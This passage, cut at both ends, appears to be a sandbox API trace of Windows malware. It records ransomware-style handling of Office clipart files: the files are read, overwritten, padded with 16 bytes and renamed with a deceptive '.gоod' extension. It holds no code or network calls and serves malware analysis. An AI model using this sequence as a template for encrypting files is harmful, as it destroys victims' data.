lpOldMode=0x1faedd00) returned 1 [0173.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3543880 | out: lpFileInformation=0x3543880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8)) returned 1 [0173.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0173.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFilePart=0x0) returned 0x44 [0173.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0173.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0173.621] GetFileType (hFile=0x810) returned 0x1 [0173.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0173.621] GetFileType (hFile=0x810) returned 0x1 [0173.622] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0173.622] ReadFile (in: hFile=0x810, lpBuffer=0x3545c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3545c48*, lpNumberOfBytesRead=0x1faedd28*=0x2c8, lpOverlapped=0x0) returned 1 [0174.087] CloseHandle (hObject=0x810) returned 1 [0174.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFilePart=0x0) returned 0x44 [0174.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.087] GetFileType (hFile=0x810) returned 0x1 [0174.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.087] GetFileType (hFile=0x810) returned 0x1 [0174.087] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x12c8 [0174.087] WriteFile (in: hFile=0x810, lpBuffer=0x347b548*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x347b548*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0174.087] CloseHandle (hObject=0x810) returned 1 [0174.087] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFilePart=0x0) returned 0x44 [0174.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.088] GetFileType (hFile=0x810) returned 0x1 [0174.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.088] GetFileType (hFile=0x810) returned 0x1 [0174.088] ReadFile (in: hFile=0x810, lpBuffer=0x347d808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x347d808*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0174.114] CloseHandle (hObject=0x810) returned 1 [0174.114] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFilePart=0x0) returned 0x44 [0174.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.115] GetFileType (hFile=0x810) returned 0x1 [0174.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.115] GetFileType (hFile=0x810) returned 0x1 [0174.115] WriteFile (in: hFile=0x810, lpBuffer=0x347c560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x347c560*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0174.115] CloseHandle (hObject=0x810) returned 1 [0174.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", lpFilePart=0x0) returned 0x44 [0174.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0174.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0174.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63fd9c60, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12d8)) returned 1 [0174.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0174.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.gоod")) returned 1 [0174.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFilePart=0x0) returned 0x44 [0174.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0174.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x34f9bf8 | out: lpFileInformation=0x34f9bf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384)) returned 1 [0174.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0174.117] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFilePart=0x0) returned 0x44 [0174.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.118] GetFileType (hFile=0x810) returned 0x1 [0174.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.118] GetFileType (hFile=0x810) returned 0x1 [0174.118] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0174.118] ReadFile (in: hFile=0x810, lpBuffer=0x34fa010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34fa010*, lpNumberOfBytesRead=0x1faedd28*=0x384, lpOverlapped=0x0) returned 1 [0174.119] CloseHandle (hObject=0x810) returned 1 [0174.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFilePart=0x0) returned 0x44 [0174.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.119] GetFileType (hFile=0x810) returned 0x1 [0174.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.119] GetFileType (hFile=0x810) returned 0x1 [0174.119] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1384 [0174.120] WriteFile (in: hFile=0x810, lpBuffer=0x34fb2a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34fb2a8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0174.120] CloseHandle (hObject=0x810) returned 1 [0174.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFilePart=0x0) returned 0x44 [0174.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.120] GetFileType (hFile=0x810) returned 0x1 [0174.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.120] GetFileType (hFile=0x810) returned 0x1 [0174.120] ReadFile (in: hFile=0x810, lpBuffer=0x34fd568, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34fd568*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0174.330] CloseHandle (hObject=0x810) returned 1 [0174.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFilePart=0x0) returned 0x44 [0174.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.330] GetFileType (hFile=0x810) returned 0x1 [0174.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.330] GetFileType (hFile=0x810) returned 0x1 [0174.330] WriteFile (in: hFile=0x810, lpBuffer=0x33902b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33902b0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0174.330] CloseHandle (hObject=0x810) returned 1 [0174.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", lpFilePart=0x0) returned 0x44 [0174.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0174.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0174.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x641efd1f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1394)) returned 1 [0174.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0174.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.gоod")) returned 1 [0174.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFilePart=0x0) returned 0x44 [0174.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0174.332] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x34e7da0 | out: lpFileInformation=0x34e7da0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c)) returned 1 [0174.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0174.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFilePart=0x0) returned 0x44 [0174.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0174.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0174.333] GetFileType (hFile=0x810) returned 0x1 [0174.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0174.333] GetFileType (hFile=0x810) returned 0x1 [0174.333] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0174.333] ReadFile (in: hFile=0x810, lpBuffer=0x34e81b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34e81b8*, lpNumberOfBytesRead=0x1faedd28*=0x38c, lpOverlapped=0x0) returned 1 [0175.027] CloseHandle (hObject=0x810) returned 1 [0175.027] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFilePart=0x0) returned 0x44 [0175.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0175.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0175.029] GetFileType (hFile=0x810) returned 0x1 [0175.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0175.587] GetFileType (hFile=0x810) returned 0x1 [0176.243] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x138c [0176.243] WriteFile (in: hFile=0x810, lpBuffer=0x39bc0f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x39bc0f0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0176.243] CloseHandle (hObject=0x810) returned 1 [0176.243] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFilePart=0x0) returned 0x44 [0176.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0176.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0176.243] GetFileType (hFile=0x810) returned 0x1 [0176.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0176.243] GetFileType (hFile=0x810) returned 0x1 [0176.244] ReadFile (in: hFile=0x810, lpBuffer=0x39be3b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x39be3b0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0176.403] CloseHandle (hObject=0x810) returned 1 [0176.403] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFilePart=0x0) returned 0x44 [0176.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0176.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0176.404] GetFileType (hFile=0x810) returned 0x1 [0176.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0176.404] GetFileType (hFile=0x810) returned 0x1 [0176.404] WriteFile (in: hFile=0x810, lpBuffer=0x34484c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34484c8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0176.404] CloseHandle (hObject=0x810) returned 1 [0176.404] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", lpFilePart=0x0) returned 0x44 [0176.404] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0176.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0176.404] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x655c1680, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x139c)) returned 1 [0176.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0176.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.gоod")) returned 1 [0176.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", lpFilePart=0x0) returned 0x43 [0176.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0176.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), fInfoLevelId=0x0, lpFileInformation=0x3464db0 | out: lpFileInformation=0x3464db0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8)) returned 1 [0176.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0176.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program 